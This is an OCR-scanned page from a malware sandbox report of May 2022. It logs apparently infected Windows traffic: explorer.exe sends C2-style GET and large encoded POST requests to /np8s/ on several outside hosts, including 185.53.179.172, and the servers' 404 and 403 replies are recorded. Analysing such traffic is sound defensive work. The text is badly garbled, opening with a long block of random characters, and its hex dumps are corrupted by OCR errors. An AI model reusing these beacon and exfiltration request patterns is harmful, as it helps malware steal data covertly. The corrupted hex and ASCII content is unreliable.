POAZF(b~OOGSBpHUXR9DICnalveRvSWWhRdgjH6cUn_8y~g3Uhj7FzK7QLLbOLFsdfdJ9HuX-51z671UmlkiRguvp9
74H2Vowz24qglA~e3Hsp9Hzcdl Y AgPO8fwHaF2B7zvd5lku8HxGpNBK6EYPgpOKEQWW9wP1dquwlZMmVO0I4(nPVZMDiw
GCvm2jTU4sXILfSgzeDWdd_qjHsD6kB63aS5sS7MN1H~p11xgmzVV3iloC_zcdbAAHWASFaJuYF1jrehOXNMygxK1lw
LZfBSO-nyZvCVn7CToX8Yxug3gPc6puUJKFERHSVKRpDQJhYsfvLTaTPuuD6g2bEI2z0I1kV\Wa9psreiatngYtY3Gk
3M4Rq0-(2GGty1Pi5MhQOVOIMWDVjPRxatZX4HrWJT6ieCubtILOxI6AeSGHpIMfIRI~FsIAux9WHpcg6AGZIABt49
dYWwu999M(00t8GqInBgY0shxnTpK59Jv9zUrkd4FlaTOZObWXWHAZhYFWZbfOYp98VCtgs8RIZzNMdWNmMO243mziP
1ZxXgNvY2vi7lky2JU5kPyKOADjggC1imzGK-vuc7VbyfrdiEY4nL1aqZZvLWgdEs202nOs1IDHyJh4IVul9xROxKf
h672pD3ilzCgQZBKgxWuF0wqdd6agWAFCUmMKuVgoGNvZxcL1SNd1rcjG_MdbZTtVL8I61IR3yuwwMeRwGpJVaTt0eK
W(3TcQjW2GuA7S06mB9j-FGtZAHhVZs9EUtneE81-IHs4frYeMrwJGiowp7WGkhsqyctTOyl7as3a90lEgMWuUBRLhA
7r7Ibg0OwWH_M9Ra4qvdBEjfIGWUsTleu_Y02-bMdicca2HZw3D9Sp8d6ctM6sQTw03c(eV8M8BvGaqtPFxyKZF~-bPT
a(pD5TxvlYobwkr(9TVImUJPktiebJOpOIQfgmUnVUZIr8a2gdd97gXDRDNVKWEI3jFjbf-G8HGO74xmU(ZOnkWISG
J9RHCNupPzNOZhA(L6rmtjg3Nd4AOvNOaJjahzl AoWN2MwSDi(7kLD93TUYTXT-3RoZ7bmP07HOCEIXISR-pHYC1Hu
aMemVAuhVgM6hdSVOsIOAFIY7y_YThX9rlf(ACKko5WV821vVg6KhM4VOeQkZ63SLpC7-xGuaJP7buAC-ZodreCf3]
RwUgO4LV9~Lgov1Q1(fWSaQNICsxOvydTth(AT8BNQ5pMdUNf7(KprKEGdzObBrgcM9gxdpdXkPwXMUBYIBRemxRNIq
YygaTCBUDVOLgD9bHXMIuThmay~vFK~QDObj~bYiVREEOPXOXbJvic_lifqOaHFUkaMfhKiV71FGDozo10PXx70Vt
DCz~0JiXmep8pV9jlsJIS02UWROIxu~_I2txE2LUGCKXE7OM7wVC3zTZk92h81WrmUnbsuoxxJKuZ4z4gEDF4h5HmMpM
kP8jv4QqRs-cYyftzUOz24YYh3H1TzdURrSqWx2JX165U4VM9~xaMhL39UAVP8vxnQjJB(lIbs1mjEJObo4oD_zpGcet
ROcmGi1(R4SX9Ttxn(Mmeb418YTQhyrxr2vAtHe2aXQZBIZpgmOXyK _Iga_cpve95lab2QfMhghTCaORiskXWylzuP
FEgT20MUTLPToTaKs2cfyqtdyNE5S0C|8EldcKM1YK1ZPcx4vZboTLeezOpbe89DY SKb4xLDoHxTHWY9fMM5(aPD1n5
7himacJEUtMnOBQv4nfXEUQdZiL6Ur3LBUrvbsZMiFa5uU72dA-yT5f2dHX2Yhj4gGoW_wLhe~JzTn9JD(b3TiQwd8
88vIfZVhSy_G2FiDRO1hPPGS4LHQAsbR-UQAuUTsV2jFx3JaleYZ~CwH7I1r8m(qllexwswilFGsd-th2WGRIpBGGZ
lopp7qWitpEmyJICkHhab8eQu~KVEF8V_TiOiLzGQH467Eb5rAtbHpVEdX3wnbsGmOy0GNIebU_GLGENuX54c7-IAx
Zx5AIczaCy8kdb9Doen12a8UTTIS_aelUWTRTRJIKpSUEAT_XNAFRFsCUVUOKZelCdW8sFgTdYSIGj(4H2AXYEO_k4T
ImgJu~2C8duKt0ZECdI(tkY1BrMy3yvwzqDaZLBFBE35zr51NfxYGpLQIX_pZ(tfiNVson1SicEAorFmwTu8rh76vOl
iIFGbN8TS5IxIJizLjLnHYZ5mSUHqgRTjqUxnr66wPY UrJdr2J6x1Zfts3FTXYRD1v364IQ6VfsDX6a4h0z1RXEvPhXXhhQ-
VKg_OkQXz_wTaRR8yHFdGRkwV4002vxEiBEw1lvuvv2majO9D5_7S41QcDj4Rcmx131qoegHs8HWFMIfnn6lQ7ctASBo-
tNIN4DzZ(hOw5cQ8fLmgUMzeYrD69p2NCNx31Wt_7f3zuKXo7bdgKWIzu98oGEP7Y{VSkISNN7IEaYSAFRV1e
4qCsAphHGqdP2mxFlaBFmncy4MWt2DW7Z~PPX6wgqBLag1M7yD1xjotRn5rbbw8hTNM71aj94J15Wj3CuZ3L14z3c0
p8v7CXTDfHpWI3dTmmLM306QATvakVkxoiyxJRucgcvXNSmsxPdY-ayEj3VnTGaoo98WVmKtumW9qc7akAlJfFRVY
9JtGddpHYn8tubsLKXSAHmMcCzleb29xcL5BHMiIR6QjU1pada4dalCliGxhp2000G3alN5ZqotPN4Ysanmmy2pwQt1lS
IHBYEmvYCcn~7MYGwS2VIUqgsBlyg9Nv7ITEAKNTIzUbtT6aE3Cz3CYKdjFMPWCARfO_IFG841MZb8gcSFY4QQN29HO
m6LbBctnQh719YRTMUDLSHQKVWOZKNKPNdyRoiL2IJwGfiQhTwzVEROIMbGYEPT1JIFP0-eJzacq9MITCUATAWZAXUo
RYUJUFF(wlgZ5FBRWi_1zWe5mZqtUxh2U6zPnpEYuUfd_JuitO_T335ESmSN]ZOrPBVEhAY|55V7IvMu6TSpwE2tQu
UgOmnlI8r-02IM4UNyQbrgmByC4sFIvuHpGWm2r6chK-kthDgZS8bsNh7XIPoGfj-~hpiYfyLXg-j06xpFfKJIplgFphF5ZiEajl
ES5WAZzmOLs5KRx(DzoSN8UpBN3i3rsIOhcAbG61DIC8xd_19aViPg3Qx~VQP8D5NiMD64yOQem~G63kLv8OBKiaQH87
mFRsm7UOLWO3iAHCeYkqg6bGK5c-BPRVYKM1BdrfMVZVRyVhOugrR4UeFOTstGITZUJ44Tk4QIEelECOIVDIXPKUpVi
WtC7JIBkuwy5P2XGxn5ZZHN_1Y5WuWVNNi3BZMHJlveSaZm3TEU2G5DK7vX4sx4hclHX25q37B7sjfZdczOQeBVEIIW
W63SG64fRgAtMTjox9pnm4G86MVMO990_IKvVWhiOgdjQyletRUEjyA2tIUOFT 7HVP2Q1yb TdSgQORCszKFKbxPhCtx
CCfTArL3_pzTwTfLyfNO-rBPwMyjnoiveQpolLb_nmrCEVMHLzh4QcwzI9Y0OpLU9fSKs5AvYia2uODKVeNDxHvgyhl
YZ7uBVvjXjXzZqV3iNVyzK~WkgRf3R0sHbPs6FIrCVx_d512a0rDzPqlVLaghVwQJTMeOAWPVUTpxl4tzPLKEBJgCcNz
2~00CVWWnA4vh3BZKrZrwfXvYZRGKszeFGwWI9IHONLNGMNIqOThjY2N5DRbpQx0SLtFOcjVEJ2gL60ilu(VIYCHILN
AOjFFAEH6BQy90zp8xrOmMPOShI-GNUJULLVIG 7tsXoBSXyPxSaEz6pPfNW72DgUpo8Y-9yfoVMF_cfOezxgts-3scn~f~-
0z09~rXKN3MxmwyG1Htr(J3

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:05:51 GMT

Server: Apache/2.4.53 (Unix)

Content-Length: 196

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0/EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?3fk4doN=1Nsioc0lpQImfCEv7q3CJRvbkNIlovwFEONaUY8zyneWF7ypKO8Ggemnlz/Jz3gNJORZyolUF
0g==&Eh=mhUx| HTTP/1.1

Host: www.xn--wsthof-camping-gsb.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
May 27, 2022 463
19:05:51.510813951
CEST
Session ID Source IP
25 192.168.2.6

. kBytes
LHIEEET transferred
May 27, 2022 467
19:06:06.772387981
CEST
Session ID Source IP
26 192.168.2.6

. kBytes
Tim m

imestamp transferred
May 27, 2022 481
19:06:06.789477110
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49826

Direction

ouT

Source Port

49827

Direction

ouT

Data

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:05:51 GMT

Server: Apache/2.4.53 (Unix)

Content-Length: 196

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Destination IP Destination Port Process
185.53.179.172 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.waermark.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.waermark.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.waermark.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 68 72 35 36 33 77 7a 61 76 58 56 62 7a 43 70 4e 64 64 43 56 55 72 62 55 71 55 4f 50 4e
7855 6d 38 4f 62 49 79 55 76 6e 65 68 36 55 32 50 72 35 51 4b 73 62 6b 42 77 6d 41 41 61 32 33 58 53 2d 28 56 6b 53
72 3034 33 4a 48 6d 6¢ 4f 79 6b 4c 79 71 48 32 64 71 41 2d 78 44 64 65 78 78 6a 64 51 67 41 48 35 39 56 69 44 6¢ 69
66 35 64 72 38 7a 66 64 51 4d 41 56 66 41 4b 71 36 64 30 57 6f 55 76 46 6d 35 62 67 79 46 35 34 70 74 50 51 39 4e 4f 2
8 5f 7a 58 41 32 63 74 44 49 65 53 4b 35 4c 69 42 53 34 7a 62 56 64 52 44 6¢ 41 34 6d 43 6f 32 43 73 4d 33 74 43 58 64
7a 4b 6a 39 56 4c 61 46 39 51 68 69 74 71 73 74 51 53 49 78 39 54 35 47 4c 65 74 4f 72 52 63 59 6e 65 45 38 72 45 33
57 46 42 67 5a 44 33 67 75 44 44 73 71 30 73 51 67 6¢ 58 73 2d 68 6¢ 4d 50 37 6f 7e 41 68 51 65 49 4b 6d 51 35 4a 50
53 41 33 4b 4f 70 6a 61 6e 54 70 4f 73 58 28 32 4f 52 52 56 66 48 79 74 74 46 57 55 7e 49 28 70 6a 69 55 6d 7a 5f 6e 67
6d 39 4c 7a 39 74 48 56 5a 35 53 66 28 67 5a 4a 35 61 4a 30 76 6f 79 56 48 54 4a 68 77 46 70 53 6¢ 39 42 4d 6d 62 52
66 77 54 41 58 62 49 49 37 39 57 75 35 79 44 74 62 42 6d 72 72 6e 4a 7e 58 7e 54 4e 62 4f 38 77 31 35 43 66 75 45 62
67 53 58 4f 49 2d 38 51 63 31 79 66 6e 54 43 64 56 66 6d 48 4e 45 6f 54 63 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=hr563wzavXVbzCpNddCVUrbUgqUOPNxUm8OblyUvneh6U2Pr5QKsbkBwmAAa23XS-(VkSro4
3JHmMIOykLygH2dgA-xDdexxjdQgAH59ViDIif5dr8zfdQMAVIAKgq6dOWoUvFm5bgyF54ptPQINO(_zXA2ctDleSK5L
iBS4zbVdRDIA4mC02CsM3tCXdzKj9VLaF9QhitqstQSIX9T5GLetOrRcYneESrE3WFBgZD3guDDsq0sQglXs-hIMP7
0~AhQelKmQ5JPSA3KOpjanTpOsX(20RRVfHyttFWU~I(pjiumz_ngm9Lz9tHVZ5Sf(gZJ5a)0voyVHTIhwFpSI9BMm
bRfWTAXbII79Wu5yDtbBmrrnJ~X~TNbO8w15CfuEbgSXOI-8QclyfnTCdVfmHNEOTC.

Destination IP  Destination Port Process
185.53.179.172 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.waermark.com

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.waermark.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.waermark.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 68 72 35 36 33 31 61 52 79 33 34 46 39 79 31 75 63 50 79 42 42 4c 4c 53 6f 45 61 41 49
7835 2d 34 36 57 35 76 45 28 61 4d 51 43 4b 79 5f 32 5a 55 4¢ 30 35 6b 46 34 4¢c 62 6d 43 71 7a 79 4b 5f 28 56 73 4e
72 30 38 33 4b 48 4f 31 4f 51 63 78 31 49 28 31 63 4b 41 4f 77 44 64 4d 31 30 37 77 51 67 30 31 35 39 74 79 44 57 32
66 35 37 6e 38 33 75 64 74 42 41 56 64 4e 71 61 2d 51 55 71 66 55 72 70 45 35 5a 6b 79 43 4a 38 70 69 50 67 79 47 74
6e 38 36 6e 41 4a 4b 64 43 49 46 69 48 49 4c 69 45 42 34 79 33 56 49 79 33 6¢ 42 70 4b 43 74 46 61 72 48 6e 74 62 47
4e 7a39 70 64 70 61 61 46 68 63 68 67 41 58 73 38 6b 53 4a 42 39 57 38 51 4c 57 38 70 66 47 51 34 54 35 45 38 33 68
3344 64 4a 67 59 76 62 67 64 62 34 6f 49 64 4a 51 69 6f 5a 75 65 68 70 47 76 37 4e 7e 41 68 67 65 49 4c 48 51 36 52
50 53 48 4c 4b 50 49 54 61 77 54 70 52 78 48 28 7a 47 78 51 4c 62 43 71 30 74 46 65 6¢ 7e 4b 28 58 6a 55 41 6d 79 74
66 67 32 73 4c 77 6f 4e 48 58 57 5a 54 61 75 51 5a 47 35 61 49 52 76 71 62 4b 48 43 5a 68 32 55 70 53 70 37 31 4d 68
7252 66 36 7a 41 52 56 5a 31 6d 39 57 32 39 79 43 64 6¢ 42 52 62 72 69 50 71 58 35 79 4e 62 49 4d 77 31 7a 53 65 51
43 4c 4a 45 54 65 4e 66 37 52 77 68 6e 75 54 67 4a 50 45 44 77 46 4e 6b 33 58 76 63 4d 4f 5a 34 34 4b 45 5f 62 4e 71
377854 73 34 6d 6d 36 70 6f 41 43 79 56 36 7e 6e 54 56 62 47 35 5a 66 4c 44 5a 36 31 67 63 38 71 5a 51 6e 36 33 72

54 4b 43 49 31 32 67 62 46 61 64 61 33 53 72 64 71 45 54 79 42 49 6b 4d 6f 64 4b 32 6a 73 6d 75 45 4d 79 4a 49 78 5a
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Timestamp

Session ID

27

Timestamp

May 27, 2022
19:06:06.808675051
CEST

kB!
vtes Direction
transferred
Source IP Source Port
192.168.2.6 49828
kB
vies Direction
transferred
505 ouT

Copyright Joe Security LLC 2022

63 58 43 57 6f 70 35 78 70 33 4e 6f 62 73 2d 4b 37 43 34 4f 6b 31 50 62 63 58 2d 64 7a 65 70 52 33 6¢ 53 72 52 57 4c 71
Pfﬂ 2d 77 4d 42 38 45 59 72 63 5a 63 44 55 34 6d 35 73 62 54 73 48 72 42 57 34 53 38 44 6b 43 38 53 62 43 30 44 75
4e 7Ta 67 43 4d 64 54 78 6¢ 42 48 47 77 75 51 6¢ 6a 50 34 6¢ 76 76 6e 48 6b 55 53 4f 6d 59 65 75 61 6d 6a 49 66 32 66
4a 47 79 56 57 79 41 6e 59 66 47 4c 46 4e 74 30 76 49 33 6¢ 50 4e 35 44 67 57 6¢ 74 76 53 4e 49 47 61 46 72 6d 64 46
30 70 55 62 52 68 31 4e 45 7a 67 47 34 66 48 75 42 4b 6f 5a 28 79 4b 61 73 66 4d 46 68 77 4d 78 78 44 67 6e 42 69 46
4c 74 70 39 38 6f 6a 70 37 46 32 51 54 59 73 56 64 6¢ 48 6b 6f 6¢ 44 66 4b 32 74 63 54 31 58 4c 79 4e 4e 59 59 4c 64
3278 6f 70 6¢ 61 57 72 34 6d 48 72 47 30 56 45 55 51 74 44 49 69 42 7a 50 30 6a 4c 4c 39 73 4b 58 4e 31 62 44 39 76
64547177 53 70 38 51 7a 4e 57 48 59 4c 6f 42 52 72 4f 70 79 75 36 57 4e 71 41 30 77 4c 5a 41 31 52 71 7a 38 6b 79
4a 39 7a 53 72337948 30 77 30 74 30 54 38 71 37 38 59 62 46 4b 43 7a 62 49 4d 59 38 37 43 6d 38 43 4a 62 5a 43 59
63 35 45 47 45 74 6d 67 4b 59 34 72 4a 36 77 72 51 31 63 7a 49 39 69 49 6f 42 66 52 6¢ 57 62 44 42 28 73 74 71 34 76
68 61 6d 6C 6e 44 39 73 34 67 33 57 79 68 5a 46 4e 6f 63 43 42 79 62 32 7e 71 52 64 52 79 4f 4¢c 63 64 28 61 59 4d 4a
2d 69 55 75 4d 55 79 39 4f 4f 30 31 59 57 56 79 47 78 67 58 6f 68 68 7a 50 51 4a 44 50 6¢ 54 44 46 50 6a 6d 31 65 55 6
246525063 6857 69 50 4e 44 4b 64 69 44 49 76 73 41 30 46 35 79 7a 6b 48 78 43 32 54 6a 70 4c 66 4b 71 71 69 50
39 78 53 70 49 41 5a 52 54 34 57 6f 6d 50 30 35 65 73 33 74 6f 6f 68 62 33 37 6f 55 78 69 58 35 6d 7a 54 6e 75 34 56 5a
5f 36 38 64 6b 7e 58 56 7a 45 67 51 74 28 32 64 31 54 6¢ 5a 69 4b 72 35 67 63 6f 59 59 6a 55 51 68 66 4e 77 51 39 55
74 36 57 58 44 52 59 38 63 4a 4c 61 38 7a 50 38 4a 49 67 47 42 36 75 66 44 4f 64 79 57 55 7e 63 69 31 72 47 75 76 61
6538 7842 64 71 42 4b 50 4c 32 31 45 62 34 44 71 42 5a 67 6a 70 39 4d 6d 4c 36 6b 34 7e 44 7e 4b 68 56 75 71 53 77
7050 75 59 44 6a 78 46 55 4d 68 6b 4e 58 50 51 69 49 28 67 74 69 7a 69 54 55 43 66 28 79 55 37 76 77 4f 62 48 36 33
44 33 65 75 63 36 6¢ 35 6d 35 45 45 42 55 34 6b 52 72 71 6e 79 75 31 4a 62 5a 59 28 31 6¢ 67 6f 75 36 61 43 6e 65 74
704576 39 79 47 43 5f 52 72 6¢ 78 4c 6d 7a 61 4b 6b 48 4d 44 42 79 75 7a 68 51 57 4c 39 4d 48 58 73 32 75 78 2d 48
56 50 31 4e 72 41 50 4f 76 46 4e 64 57 33 55 6d 75 55 7a 54 48 4e 4a 45 47 7a 59 4a 53 47 67 66 35 34 7a 31 5f 71 79
68 56 28 41 6d 74 5a 73 53 75 38 4d 45 59 41 54 57 70 4c 48 71 64 43 63 78 5f 4d 6b 65 4f 35 44 6a 58 7a 6a 74 6e
Data Ascii: 3fk4oN=hr5631aRy34F9ylucPyBBLLSoEaAIx5-46W5VE(aMQCKy_2ZULO05kF4LbmCqzyK_(VsNr08
3KHO10Qcx11(1cKAOWDdM107wQg0159tyDW2f57n83udtBAVdNga-QUqfUrpE5ZkyCJ8piPgyGtn86nAJKACIFiHIL
iEB4y3VIy3IBpKCtFarHntbGNz9pdpaaFhchgAXs8kSIBIWSBQLW8pfGQAT5E83h3DdJgYvbhgdb4oldIQioZuehpGv7
N~AhgelLHQBRPSHLKPITawTpRxH(zGxQLbCq0tFel~K(XjUAmytfg2sLwoNHXWZTauQZG5alRvgbKHCZh2UpSp71Mh
rRf6zARVZ1m9W29yCdIBRbriPgX5yNbIMw1zSeQCLJETeNf7RwhnuTgIJPEDWFNk3XvcMOZ44KE_bNqg7xTs4mm6poAC
yV6~nTVbG5ZfLDZ61gc8qZQn63rTKCI12gbFada3SrdqETyBIkModK2jsmuEMyJIxZcXCWop5xp3Nobs-K7C40k1PbcX-
dzepR3ISTIRWLgrN-wMBB8EYrcZcDU4m5sbTsHrBW4S8DkC8SbCODuNzgCMdTxIBHGwuQIjP4lvwvnHkUSOmYeuamj
1f2fIGyVWyAnYfGLFNtOvI3IPN5DgWItvSNIGaFrmdFOpUbRh1NEzgG4fHuBKoZ(yKasfMFhwMxxDgnBiFLtp98ojp
7F2QTYsVdIHkoIDfK2tcTIXLYNNYYLd2xoplaWr4dmHrGOVEUQtDIiBzPOjLL9sKXN1bD9vd TqwSp8QzNWHYLoBRrOp
yu6WNgAOWLZA1Rqz8kyJ9zSr3yHOW0t0T8q78YbFKCzbIMY87Cm8CJIbZCYCc5EGEtMgKY4rJéwrQlczI9iloBfRIWbD
B(stq4vhaminD9s4g3WyhZFNocCByb2~gRdRyOLcd(aYMJ-iUuMUy90001YWVyGxgXohhzPQJDPITDFPjmleUbFRPc
hWiPNDKdiDIvsAOF5yzkHxC2TjpLfKqqiP9xSpIAZRT4WomP05es3toohb370UxiX5mzTnu4VZ_68dk~XVzEgQt(2d
1TIZiKr5gcoY YjUQhfNwQIUt6WXDRY8cJLa8zP8JIgGB6ufDOdyWU~cilrGuvae8xBdgqBKPL21Eb4DgBZgjp9MmLEk
4~D~KhVuqSwpPuYDjxFUMhKNXPQIl(gtiziTUCf(yU7vwObH63D3euc6l5m5EEBU4kRrgnyulJbZY(1lgou6aCnetp
Ev9yGC_RrIxLmzaKkHMDByuzhQWLIMHXs2ux-HVPINrAPOVFNdW3UmuUzTHNJEGZzYJSGgf54z1_qyhV/(
AmtZsSu8MEYATWpLHgdCcx_MkeO5DjXzjtnfQ5c0aef06 KHH80fojD4Q6c8FIw_XA6JQJVIIskoFOKIFC3VtyZqzjZ
jDIbgCGrsJ7N8Yf4akXRrbPOFHYG8CPg-AFgjH4kmLOVZzWFTZaAuFNVABaG9_tfwN(LiluEyc~WSPyTT_OmWFYVRII
mzvM5zsvBBwUgKUCLesOmJd1VgFIbCEnAI2NxGFoYefOn6nNK(qdLvOmijtGGlieorduAmQ4p28ChOhbptValdcOfeN
EEA08b-j9Bn9At7Du159nVCXEsx6y8YhdISSzj9j6Q3XchGOpn7m4DYUHbMxBXLfB680as1jgvRNPb2x1teAhIhL T
DXKdpJIN8u~-jttMf_D_wXkOqZCP5FFO8VDMAdpwcsQQgUF7sGZTs8hCGbOq3t~9dEEg4gdatoYxzgLLDetbenlc5Kk
00uk23Bt4QjalkRpOvtILOLgaes|18DVplql9gq0KkgTn3gm31ypXUXWKNLI59efw6OLuVXkld4OJIxURcYUmkun9qgqM
rxKA8(XIZkyBloOUmgeLZB-m-tBkAeHDL~ysW1cZA6VvnhgimfU20gZe4mZYEBFtV5z~axChCRsvu7zy76nOJhnFMe
FijeDK-AHvzASEDI9IIkIBASVokpyHtX-X0fLDNOCNUR3u_c_lczk(aOyUcclDSXAtFr6BOVPD8XvO8Q9IFfBfwgbk2
48GgNdG3JIrxQFzpslO3AwwmJIweYwZkixv7mEiEelGD8z530k5afm8gHSpi40JfkVdH-k90SEyYHysLgpnPLWA(gevY
g3uCuzQ4yqgkts300fVyuBLTOV8uC9rORol6pVyh4rcS86JQFvVS6c(r2ul0RjlUSf2wmyL BkDWBKGIFMd5Uf01Q2yO
IpiIOQXNICMOI4LEuYHk~a870YH_5-DrX5LoDsg7jtUf2KTh1uDMHP7AV44cnt6pskKgbbNvH2dEV70CPp78bpt78PZ
d7TOuLvx7ROWpEeGWxUmsGzaD1b3K6NoICSrszOUGKRXWUI9WsfE-eGh8Adf155lkwZg_ldwltvUuZgSapAN7alfUE
ZpQmGv403pLclHCiUINP1g3N28RfagwquZZ4yC_NzEJ1UMB8LQsikkMH1VBwJ-1j3U21pKzy3N(a07F1GDHVZNzZWm_b
¢JFZBc0JUJgfUrY52uk~BM]j9fOF04Ak0dUHNhGazzkB_O-wNNR8O0SsLAhh00ZO0tzLbjD7(DvK1IRKTAsQzSCrS4~uo
yxqUSHVKjwKvGdTBJIXMzkfx000lIx(nPxe9cqgeWgB8OA2uhPjhOcu_ynBsGwBsszPbAoCNRWUYfEuYhMp9uTiOaZr
3R33bJAO9agw4qjqSNNIibA2pjBrEYu8QsStlOrA6C1larJRh05g0gNgEM4g3vkbbsW56sSIo0FVCgtbAXCitSAEdXm9
_SJ9WEK|CYNIZTUbuVs8vMVHgG~JIGpInL1Sh4jz4lI0aHH_0zoNVxgxB27DN85ess71PU1DSGi3sCOkB5rxbRi-XfG
r34NSer371IhfDR3VuTIshYzyg9AsIUi_1vis7IUFSuHI3vBwv3JoRIQeTNHBIVZ3UjzaW6tbymszMwINpZWpP-5TT
UchINh4dHOVftI1Nz21Jdzj7MotsXcdQ0J588I6rMc3a3fBlk5-3BagnasYhE1CLIOKcAWA781sjlYWQdIoBKNHKToOfIXFC8zI
u4cioiP6gbbkfBzh32EA7RNXKIkc3Ze58G7icahbHDfL6JAsIwngh1fWiwbvz~mgKSAiaoLiKhbfPzJOF6eifR5E_m
N(1QkgaE_sXlotXOngRdL0075REzKz07pqSgtSz7sYLFqxDcMj20t92FIKvewo80-WA110W3St-K_Ad8DxYpWPVBoOR
MFi4AakATIkUdewY CgH5tXU97PWxkCIHFKUMJIWM(j5JhN8bK5e50vJZVd4oewkqI8jMNoCihs~g7SAvJ1zM4IUykDi
erpU2t3z5Z4a2FfX13AxkO_ft(gOCIMmxPZa2NU5Z9bfRFzn2mqYG1Sly9xHTYpvUnRrLIrBhZePf6-D9v3eM9IBGVO
aycTAhNMB~TIDGGZcn1ftZKGo5MRI9VYuKhw_ea~GIZ9SQmzbkHE_JF3E1eZ0zTP-Nj2APs2Hh_9e8qJ71cYK1nCxO
MWhPIR-T2vDhzzE~aWBQAs42kO05BIZrNoBP8r5skvwiu6 SKXUQDFNnWIFb7zm-2001(pQY 7cV2xkZPIPfGLkn-CkP
76SVNX2cdbu8_TzdacAelUMj4ESLtalBXE-pOKGpCg9alCYsxulWxuVpQADMSz1M1yUyqOui_pAr27kHiY8IPmT8Xs
dIROUHJIheyXU7Yx40sReNRWhdilU78QTxxi2dyp7LDwm~oFphd~t29FxGK4NrgcYnbWMVk167WAHwidvuaoJOlaGV
Zn757emJxr5MgSIG1(Xn1Q6mytrNLaTeCh563sSCLgCjOnagifrZReyJ_pTnTPHdZgL~e(jXz7701(LG51UY_AS18~
eqB1VFHfRRUoDKMIIEPdUcfpUpdIflu73pOLR4JtHpahONwRzMjcHPADIN3wyZoSHZ{zEZuXIqHV1IssJtZ6Y6_wmT
d7dfhFCDfACPPG2qQaxNjST1AXL_mEgQT6q-tjFcgUA4wypZK8kZsn02~6FRPTUC(6kxsWFoXhboveQPEGUJJINFB
YkPCB3CJIwGeV9icYxFCFITgm1KE7ZDP0o3Q6n9ijLLiIXKskOu

Destination IP Destination Port Process
185.53.179.172 80 C:\Windows\explorer.exe
Data

GET /np8s/?3fkdoN=upNApQGgxnlpkDsed4j6UePR+EOmMKhNhiuHKrn3aPCq0+c3DSqp4vkB5DGytvWTvww8fhFgz
|IA==&Eh=mhUxI HTTP/1.1

Host: www.waermark.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp T Direction

May 27, 2022 506 IN

19:06:06.825140953

CEST

Session ID Source IP Source Port

28 192.168.2.6 49841

Timestamp e Direction
transferred

May 27, 2022 514 ouT

19:06:33.429869890

CEST

May 27, 2022 515 IN

19:06:33.601499081

CEST

Session ID Source IP Source Port

29 192.168.2.6 49842

Timestamp L Direction
transferred

May 27, 2022 528 ouT

19:06:33.637096882

CEST

Copyright Joe Security LLC 2022

198.54.117.217 80

198.54.117.217 80

Data

HTTP/1.1 403 Forbidden

Server: nginx

Date: Fri, 27 May 2022 17:06:06 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

